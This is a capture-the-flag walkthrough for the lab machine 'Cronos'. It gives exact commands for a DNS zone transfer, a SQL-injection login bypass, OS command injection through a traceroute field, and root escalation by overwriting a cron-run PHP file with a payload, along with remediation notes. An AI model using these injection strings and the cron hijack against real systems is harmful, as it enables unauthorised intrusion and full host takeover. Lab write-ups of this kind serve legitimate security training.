Cronos
Summary
I queried the DNS server for a full zone transfer, discovering a hidden admin vhost unreachable by IP. A SQL-injection payload bypassed its login entirely.
The authenticated admin panel contained an OS command injection flaw in a network-diagnostic tool, giving remote code execution as the web server account. Inspecting the system scheduler revealed that root periodically executed a PHP file owned and writable by that same web account; overwriting the file with a malicious payload caused the next scheduled run to execute my own code as root, completing a full host takeover.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p22,53,80 $TARGETdig axfr cronos.htb @$TARGETecho "$TARGET cronos.htb admin.cronos.htb" >> /etc/hostsFixRestrict DNS zone transfers to authorised secondaries onlyMedium
Exact commands 2
curl -sS -c cj.txt -H 'Host: admin.cronos.htb' -d "username=admin' or 1=1-- -&password=x" http://$TARGET/curl -sS -b cj.txt -H 'Host: admin.cronos.htb' http://$TARGET/welcome.phpFixFix SQL injection in the admin login formCritical
Exact commands 2
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;id' http://$TARGET/welcome.phpcurl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;hostname' http://$TARGET/welcome.phpFixEliminate OS command injection in the Net ToolCritical
Exact commands 1
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /home/noulis/user.txt' http://$TARGET/welcome.phpExact commands 2
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /etc/crontab' http://$TARGET/welcome.phpcurl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;ls -la /var/www/laravel/artisan' http://$TARGET/welcome.phpExact commands 3
PHP_PAYLOAD='<?php copy("/root/root.txt","/tmp/rootflag"); chmod("/tmp/rootflag",0644); ?>'curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode "host=127.0.0.1;echo '<?php copy("/root/root.txt","/tmp/rootflag"); chmod("/tmp/rootflag",0644); ?>' > /var/www/laravel/artisan" http://$TARGET/welcome.phpcurl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;ls /tmp/rootflag 2>&1' http://$TARGET/welcome.phpFixRemove world-write permission from files executed by root's cronCritical
Exact commands 1
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /tmp/rootflag' http://$TARGET/welcome.phpAttack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.